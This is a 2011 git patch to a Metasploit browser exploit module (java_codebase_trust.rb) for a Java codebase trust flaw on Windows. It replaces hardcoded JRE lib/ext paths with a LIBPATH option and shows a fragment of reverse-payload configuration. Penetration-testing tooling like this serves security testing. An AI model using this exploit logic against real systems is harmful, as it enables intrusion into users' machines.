From 586c1f93059218be5e5c95cd0ffbdcae22955971 Mon Sep 17 00:00:00 2001 From: Joshua Drake Date: Fri, 18 Mar 2011 01:18:18 +0000 Subject: [PATCH] oops, broke the LIBPATH option git-svn-id: file:///home/svn/framework3/trunk@12015 4d416f70-5f16-0410-b530-b9f4589650da --- modules/exploits/windows/browser/java_codebase_trust.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/java_codebase_trust.rb b/modules/exploits/windows/browser/java_codebase_trust.rb index 0ff899aeb2..ac4120084d 100644 --- a/modules/exploits/windows/browser/java_codebase_trust.rb +++ b/modules/exploits/windows/browser/java_codebase_trust.rb @@ -114,8 +114,7 @@ class Metasploit3 < Msf::Exploit::Remote host_num = Rex::Socket.addr_aton(host).unpack('N').first code_url = jpath.sub(host, host_num.to_s) - codebase = "file:" + "C:\\Program Files (x86)\\java\\jre6\\lib\\ext" - codebase = "file:" + "C:\\Program Files\\java\\jre6\\lib\\ext" + codebase = "file:" + datastore['LIBPATH'] config = "Spawn=2\nLPORT=#{datastore['LPORT']}\n" # The java payloads decide to be reverse if LHOST is set.